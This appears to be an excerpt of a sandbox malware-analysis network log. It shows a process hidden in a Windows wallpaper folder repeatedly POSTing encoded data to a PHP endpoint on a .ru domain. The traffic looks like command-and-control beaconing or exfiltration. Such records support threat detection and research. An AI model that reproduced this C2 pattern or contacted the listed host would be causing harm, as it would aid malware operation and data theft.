Jan 1, 2025 15:18:41.145318031 CET	814	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=izy3KmFSs564%2FHPu9Vlb1eiwUsfhyAvfiSVv2qggE3ASfzJRZC%2FsdzG%2BFMdKn9Q1q0zlM6me%2B6W97DS57uQ6F537GFYuxVJ9Po%2BQVjhGbISgDACIT4WC%2B4DhQmk62AEa%2Bgj%2B5RyL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323d598cf43ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3428&min_rtt=1727&rtt_var=4050&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1372&delivery_rate=95200&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50133	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:41.265790939 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:41.624012947 CET	1056	OUT	Data Raw: 54 55 51 53 5f 5b 57 59 59 5b 5a 5a 52 59 5b 50 55 59 5a 58 57 5f 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQS_[WYY[ZZRY[PUYZXW_[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/Y?0_ ]61,(+4?)T'\91<!*%(X8/9]//_ ,
Jan 1, 2025 15:18:41.709801912 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:41.902617931 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2FPr8jhNXp8q5OOBRrE0QL3cX4kfTkCJe3rU3l6rCAn2mcXGxLgtjAAd2wCOr7OzXwseos2ZF4XSBQdFldsnhxfzpJ7meq4Hlzh66DM5%2BUqF2oKQhGGnbmamVmNYPL0xezmiTvXC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323da69f77cf3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2665&min_rtt=1931&rtt_var=2192&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=187059&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50134	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:42.034598112 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:42.389648914 CET	1056	OUT	Data Raw: 54 55 51 50 5a 5d 57 5b 59 5b 5a 5a 52 58 5b 5d 55 55 5a 59 57 50 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQPZ]W[Y[ZZRX[]UUZYWP[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/+_0#!!#Y+87]<:31/7P622%Y0?;9]//_ (
Jan 1, 2025 15:18:42.501880884 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:42.752763987 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WeYlXoDxc6uS07SqvqQL8xI4boAgqFW8ev9Q2PQEJMr5VsbJzL%2F6I9rnWDNtTq9GLtj4NpXcGsP1AXCjuTpz%2BCf7ACSxHN5G%2BfBrIdTbvSelK8r9HuxeUD68DJnL%2BIx3negsD%2F7g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323df58634356-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3926&min_rtt=1794&rtt_var=4938&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=77433&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50135	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:42.887538910 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:43.233387947 CET	1056	OUT	Data Raw: 51 50 51 50 5a 5a 52 5e 59 5b 5a 5a 52 58 5b 51 55 58 5a 59 57 5c 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQPZZR^Y[ZZRX[QUXZYW\[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$8/43$Z!7]?#[(.!T$%+Q!=%/<+=+,9]//_ (
Jan 1, 2025 15:18:43.337831974 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:43.594549894 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=viZY5C86oUWO1WoeMfLWGTpGxFz0dTz0Gq44PWdamT%2Ffy1cqzaszKJ%2BWnGmVRAZ2d3bjQmV1VHx5%2BicwvqZEJCUqTRvZHM%2BWzfX10M5c9%2FD3qKGkkRWzoZ5FlQXdKKa6x4Fi0MjA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323e48e990f75-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3078&min_rtt=1532&rtt_var=3668&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=104983&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50136	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:43.677725077 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1300 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50137	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:43.722359896 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:44.077184916 CET	1056	OUT	Data Raw: 54 53 51 50 5f 5c 57 5e 59 5b 5a 5a 52 5e 5b 5b 55 5a 5a 57 57 5f 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSQP_\W^Y[ZZR^[[UZZWW_[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$-/+Y39'5(+^/X?.':5W1+P"='?<.+\,9]//_ 0
Jan 1, 2025 15:18:44.232141972 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:44.461558104 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C7uNECzl%2Fppt9299Vd1kJ3EVTCFYNEELgDeS2rAOss9T15GlFtsNUtm3p3ROjDm4V7Z2HV08jDT05bXRsJOi6gEWShgeJZvh%2FaPfdEgAcVCX7hTUQPF76i1XpI1kNJv9tX%2BJmRVm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323e9eb7e6a52-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11393&min_rtt=1759&rtt_var=19927&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=18520&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50138	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:44.600852966 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:44.965267897 CET	1056	OUT	Data Raw: 51 56 51 50 5f 59 57 58 59 5b 5a 5a 52 5d 5b 51 55 5f 5a 5e 57 59 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QVQP_YWXY[ZZR][QU_Z^WY[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$@8/['4Y6"+\<4+>!%)*$<<5>\1Y<+=7Z,:9]//_ <
Jan 1, 2025 15:18:45.072892904 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:45.328336954 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aWA0LZ0M0RvQlQiiwlzzjPXebiX9CM5UueODFk33VeV7RBvHTYPuymt%2Bkg9eB8rX%2Bh85ua8pGUn%2ByfrQt8AuB96rSSw1iAidem1BrL6Qz2NhTimesXmTqNAHocHJkoK7zbR4KGKh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323ef68cb4338-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7421&min_rtt=1735&rtt_var=12024&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=30913&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50139	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:45.457566977 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:45.811774015 CET	1056	OUT	Data Raw: 54 55 51 55 5f 59 57 5c 59 5b 5a 5a 52 53 5b 5b 55 5e 5a 5a 57 59 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUQU_YW\Y[ZZRS[[U^ZZWY[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',00#2;?^?X<>:%9R1,;"11;_>=#^-9]//_
Jan 1, 2025 15:18:45.907758951 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:46.166526079 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MMNrPy%2BI7PaY0p6vdrTa8CGvYegN1khZsCvdcbwrVY0EisXGWwUXf78wI4nEGEtKOCuvXrHleOvdUlucPuzbS3A88gguBwkAXHHXUr6%2FY%2B06QQazEtf3riohF7CQWizF5rBAvAiU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323f4a8ec438d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3821&min_rtt=1642&rtt_var=4975&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=76519&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50140	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:46.302016973 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:46.655292034 CET	1056	OUT	Data Raw: 51 50 51 55 5f 5f 57 50 59 5b 5a 5a 52 5f 5b 5d 55 5c 5a 5a 57 5f 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQU__WPY[ZZR_[]U\ZZW_[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$@8,<'X"4?7Z=."'9=P%<4!!2/;Z+.8:9]//_ 4
Jan 1, 2025 15:18:46.759224892 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:47.014858961 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZjGr%2FZp2odaSW5lRTWF9df%2F2hTb3g4BQXh%2BSX%2BSxjbPBdigsZiW%2BJ9SGZGa1yG%2FvJIZgbhApgMqxT0csU152K%2BqUWquo6QNb3Ra3WDFsVOrZK8N3AiwmeqnwZDuOOvOq2uctO1Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323f9f9cb4271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3221&min_rtt=1772&rtt_var=3563&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=109216&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50141	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:47.147640944 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:47.499339104 CET	1056	OUT	Data Raw: 54 52 51 53 5f 58 57 5d 59 5b 5a 5a 52 5c 5b 51 55 58 5a 5d 57 5d 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRQS_XW]Y[ZZR\[QUXZ]W][[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',//_0$Z54+;<(-)P'*!S2Z 5.]1Y0<$/9]//_
Jan 1, 2025 15:18:47.592833042 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:47.849798918 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UnqHE84moSBt%2B%2FHpZQfng8r89p%2BS4ZS%2FFyTr8uOcnl2O%2FJ6PeMb0rfNziRr8u1klPciK1fymP0dDvH6YJxLx%2F3KMWbAUBJubJSPMk2gJCG4mNRoP8NmkxmD4aydiPUCwp6gbj0tB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323ff2fea7d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8362&min_rtt=1915&rtt_var=13612&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=27293&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50142	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:47.984026909 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:48.342873096 CET	1056	OUT	Data Raw: 51 52 54 5f 5a 5f 52 5d 59 5b 5a 5a 52 5f 5b 5e 55 5b 5a 5e 57 58 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRT_Z_R]Y[ZZR_[^U[Z^WX[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E,/3* Y""8+#<>>3!1/P62>1+[+./:9]//_ 4
Jan 1, 2025 15:18:48.431262970 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:48.603647947 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BhBrmGlLdTZCgs4e%2BFMK0aamyhpMwsUKXNhJ9DmQ89DnQsj17T7trIfti5r%2Bw2TUDjblkgCUvOttRjo1PdBewD8nb%2FMtjoyXw9Akx8HAWAQKIfg55GnNHgbEDF6fY9mAvUnxZ0wP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb324046ea5436f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=1624&rtt_var=1631&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=255602&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50143	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:48.725445986 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50144	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:48.737561941 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
